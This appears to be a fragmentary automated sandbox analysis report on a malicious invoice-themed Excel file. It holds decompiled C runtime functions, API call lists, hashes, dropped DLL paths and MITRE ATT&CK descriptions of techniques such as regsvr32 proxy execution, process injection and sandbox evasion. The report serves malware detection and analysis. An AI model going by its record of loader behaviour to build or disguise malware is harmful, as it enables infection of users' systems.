LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$P)t$QvS$R@Uf$S8/$SbRU$Sm7($S}R$Ufvv$YRmr$YTf3$\)9Q$\>}T$\G2e$]LC*$`7aB$`0$a>$c8r6$d?Sh$eLRx$f3A-$f3EV$g3EY$m7(M$m7lM$o4}y$tjJZ$ug3E$wB5q$y4s${O4^${fWE$(5Q$3`)$;n$@WD${HJ${Hr$ i
API String ID: 969709653-2604367738
Opcode ID: 1f522f1898d5c03997dd77ec6b46a9deae6259606fadd3d2ed93620fe165c3b2
Instruction ID: 86ebf3e58850df7caef67e7b2e4f27d1a7c41f57ec218862711b3505b0e3979a
Opcode Fuzzy Hash: 1f522f1898d5c03997dd77ec6b46a9deae6259606fadd3d2ed93620fe165c3b2
Instruction Fuzzy Hash: 4D635361E292C24EEFA4EFA2B8513ED2791E746788F445034E90D5FB66DF3CA205CB05

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF752E018 Relevance: 10.6, APIs: 7, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.LIBCMT ref: 000007FEF752E041

Part of subcall function 000007FEF752FD8C: _amsg_exit.LIBCMT ref: 000007FEF752FDB6

RtlDecodePointer.NTDLL(?,?,?,?,?,?,00000000,000007FEF752E1E9,?,?,00000000,000007FEF752FDBB), ref: 000007FEF752E074
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF752E1E9,?,?,00000000,000007FEF752FDBB), ref: 000007FEF752E092
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF752E1E9,?,?,00000000,000007FEF752FDBB), ref: 000007FEF752E0D2
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF752E1E9,?,?,00000000,000007FEF752FDBB), ref: 000007FEF752E0EC
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF752E1E9,?,?,00000000,000007FEF752FDBB), ref: 000007FEF752E0FC
ExitProcess.KERNEL32 ref: 000007FEF752E188

Memory Dump Source

Source File: 00000005.00000002.1264950335.000007FEF7521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF7520000, based on PE: true

Associated: 00000005.00000002.1264946903.000007FEF7520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264960138.000007FEF7537000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264965991.000007FEF7540000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264982139.000007FEF7545000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7520000_regsvr32.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3411037476-0
Opcode ID: fa62ff37eb1ee0fdb7c4761492bc8745458489f2aa957d5928a0025dfa04857c
Instruction ID: dc135f24d880fbeb867de3750d76681b43d5dabfe15a827171e5699f6a1b9e50
Opcode Fuzzy Hash: fa62ff37eb1ee0fdb7c4761492bc8745458489f2aa957d5928a0025dfa04857c
Instruction Fuzzy Hash: 5F416731B2AA6281EAD49B51FC8433962E5B788B84F144438BE4E477B5DF3CE495C710

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF752DB58 Relevance: 4.5, APIs: 3, Instructions: 35
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E000007FE7FEF752DB58(long* __rax, void* __rdx, void* __rdi, void* __rsi) {
				void* __rbx;
				intOrPtr _t5;
				void* _t6;
				long _t8;
				long* _t21;
				void* _t22;
				long* _t23;
				void* _t30;

				_t29 = __rsi;
				_t28 = __rdi;
				_t21 = __rax;
				E000007FE7FEF752DEB4(__rax, _t22, __rdx); // executed
				_t5 = E000007FE7FEF752FB80(_t22, __rdi, __rsi);
				if (_t5 == 0) goto 0xf752dbcc;
				__imp__FlsAlloc();
				 *0xf7540a30 = _t5;
				if (_t5 == 0xffffffff) goto 0xf752dbcc;
				_t6 = E000007FE7FEF752C464(_t22, 0x7fef752d9e4, __rdx, _t28, _t29, _t30);
				_t23 = _t21;
				if (_t21 == 0) goto 0xf752dbcc;
				__imp__FlsSetValue();
				if (_t6 == 0) goto 0xf752dbcc;
				E000007FE7FEF752D884(_t23, _t23, _t21);
				_t8 = GetCurrentThreadId();
				_t23[2] = _t23[2] | 0xffffffff;
				 *_t23 = _t8;
				goto 0xf752dbd3;
				E000007FE7FEF752D85C(_t23, _t23, _t21);
				return 0;
			}

0x7fef752db58
0x7fef752db58
0x7fef752db58
0x7fef752db5e
0x7fef752db63
0x7fef752db6a
0x7fef752db73
0x7fef752db79
0x7fef752db82
0x7fef752db8e
0x7fef752db93
0x7fef752db99
0x7fef752dba4
0x7fef752dbac
0x7fef752dbb3
0x7fef752dbb8
0x7fef752dbbe
0x7fef752dbc3
0x7fef752dbca
0x7fef752dbcc
0x7fef752dbd8

APIs

Part of subcall function 000007FEF752DEB4: EncodePointer.KERNEL32 ref: 000007FEF752DE33
Part of subcall function 000007FEF752DEB4: _initp_misc_winsig.LIBCMT ref: 000007FEF752DEE5

Part of subcall function 000007FEF752FB80: InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,000007FEF752DB68,?,?,?,000007FEF7528E33), ref: 000007FEF752FBC5

FlsAlloc.KERNEL32(?,?,?,000007FEF7528E33), ref: 000007FEF752DB73

Part of subcall function 000007FEF752C464: Sleep.KERNEL32(?,?,?,000007FEF752D96F,?,?,?,000007FEF752F5C9,?,?,?,?,000007FEF752D3C6,?,?,?), ref: 000007FEF752C4A9

FlsSetValue.KERNEL32(?,?,?,000007FEF7528E33), ref: 000007FEF752DBA4

Part of subcall function 000007FEF752D884: _lock.LIBCMT ref: 000007FEF752D8D8
Part of subcall function 000007FEF752D884: _lock.LIBCMT ref: 000007FEF752D8F7

GetCurrentThreadId.KERNEL32(?,?,?,000007FEF7528E33), ref: 000007FEF752DBB8

Memory Dump Source

Source File: 00000005.00000002.1264950335.000007FEF7521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF7520000, based on PE: true

Associated: 00000005.00000002.1264946903.000007FEF7520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264960138.000007FEF7537000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264965991.000007FEF7540000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264982139.000007FEF7545000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7520000_regsvr32.jbxd

Similarity

API ID: _lock$AllocCountCriticalCurrentEncodeInitializePointerSectionSleepSpinThreadValue_initp_misc_winsig
String ID:
API String ID: 3311150041-0
Opcode ID: 563ba2b497b724dfe8105aa0f64df9c03b6129da4ec98886fb8d82d1cc552489
Instruction ID: cda734197570e759bf880b8d338ccfc6671b07bc194821f5ea92b008f11fced2
Opcode Fuzzy Hash: 563ba2b497b724dfe8105aa0f64df9c03b6129da4ec98886fb8d82d1cc552489
Instruction Fuzzy Hash: C1016D22E2870745FBD4ABF5986537822D16B58761F144B34B82D862F2EE3CE885C630

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF752EA90 Relevance: 4.5, APIs: 3, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE ref: 000007FEF752EAA6
GetVersion.KERNEL32 ref: 000007FEF752EAB8
HeapSetInformation.KERNEL32 ref: 000007FEF752EAD6

Memory Dump Source

Source File: 00000005.00000002.1264950335.000007FEF7521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF7520000, based on PE: true

Associated: 00000005.00000002.1264946903.000007FEF7520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264960138.000007FEF7537000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264965991.000007FEF7540000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264982139.000007FEF7545000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7520000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 1ea3229dc46f1d4a0352a5312c6b83ff2f083a6c52a9eefe1a8ca3a2de814203
Instruction ID: 501436df462f7826d0f16fcef7fca37877cf6ca1f4dabfcc1d579669a6ebee2e
Opcode Fuzzy Hash: 1ea3229dc46f1d4a0352a5312c6b83ff2f083a6c52a9eefe1a8ca3a2de814203
Instruction Fuzzy Hash: B5E06D74F3966282F7C45B51A899B7922D1F788300F805838FD4E027B4DF3D9086C610

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF752DEB4 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E000007FE7FEF752DEB4(intOrPtr* __rax, void* __rbx, void* __rdx, long long _a8) {
				void* _t3;
				void* _t9;
				long long* _t14;
				long long _t17;
				void* _t28;

				E000007FE7FEF752D84C(); // executed
				E000007FE7FEF75343E4(E000007FE7FEF7534714(E000007FE7FEF752F24C(E000007FE7FEF752F290(E000007FE7FEF752F254(_t3, __rax), __rax), __rax), __rax), __rax);
				_pop(_t17);
				goto 0xf752de28;
				asm("int3");
				if (__rax - __rdx >= 0) goto 0xf752df2a;
				_a8 = _t17;
				_t14 =  *((intOrPtr*)(__rax));
				if (_t14 == 0) goto 0xf752df17;
				_t9 =  *_t14(_t28);
				if (__rax + 8 - __rdx < 0) goto 0xf752df0d;
				return _t9;
			}

0x7fef752deba
0x7fef752dee5
0x7fef752def1
0x7fef752def2
0x7fef752def7
0x7fef752defb
0x7fef752defd
0x7fef752df0d
0x7fef752df13
0x7fef752df15
0x7fef752df1e
0x7fef752df2a

APIs

EncodePointer.KERNEL32 ref: 000007FEF752DE33
_initp_misc_winsig.LIBCMT ref: 000007FEF752DEE5

Memory Dump Source

Source File: 00000005.00000002.1264950335.000007FEF7521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF7520000, based on PE: true

Associated: 00000005.00000002.1264946903.000007FEF7520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264960138.000007FEF7537000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264965991.000007FEF7540000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264982139.000007FEF7545000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7520000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initp_misc_winsig
String ID:
API String ID: 2349294043-0
Opcode ID: 8d3f1213d7f73ebf5a4ab891a74a7c3ec0c025a7e20eb38cdbf6d46c2a5dfc04
Instruction ID: 3c27a85fbc4e5dfe1eb7b5f10412195c72b579f606c550bb392996322a377648
Opcode Fuzzy Hash: 8d3f1213d7f73ebf5a4ab891a74a7c3ec0c025a7e20eb38cdbf6d46c2a5dfc04
Instruction Fuzzy Hash: AFE0C914FA964780EDC8FBA27CA22B812D1579AB40F545430BD0E4A3B29D3CA095C720

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF753471C Relevance: 1.5, APIs: 1, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,?,000007FEF752DF9B,?,?,?,000007FEF7528E85), ref: 000007FEF7534735

Memory Dump Source

Source File: 00000005.00000002.1264950335.000007FEF7521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF7520000, based on PE: true

Associated: 00000005.00000002.1264946903.000007FEF7520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264960138.000007FEF7537000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264965991.000007FEF7540000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1264982139.000007FEF7545000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7520000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 6ec9d99019e729d3521919ca2de1bc9e27273abe180a87a70a7f20145cf695b8
Instruction ID: 3b6b598e17eda49435c56ffb1f8dd61245293024866dcb34fdd30a2fe4fd9b1e
Opcode Fuzzy Hash: 6ec9d99019e729d3521919ca2de1bc9e27273abe180a87a70a7f20145cf695b8
Instruction Fuzzy Hash: ABD01222B64A4192DB818F51F59036863A1F7887D5F588030EA4D06674DE3CC4968701

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RechnungsDetails.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll

C:\Users\user\AppData\Local\Temp\Cab3C9B.tmp

C:\Users\user\AppData\Local\Temp\Tar3C9C.tmp

C:\Users\user\AppData\Local\Temp\~DFE4A10193AB5B5F72.TMP

C:\Users\user\Desktop\RechnungsDetails.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr4.ocx

C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)

C:\Windows\System32\FIdWcB\GulPp.dll (copy)

C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)

Static File Info

Windows Analysis Report
RechnungsDetails.xls

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Function 001C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Function 000000018002B7B2 Relevance: 7.9, Strings: 6, Instructions: 449
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre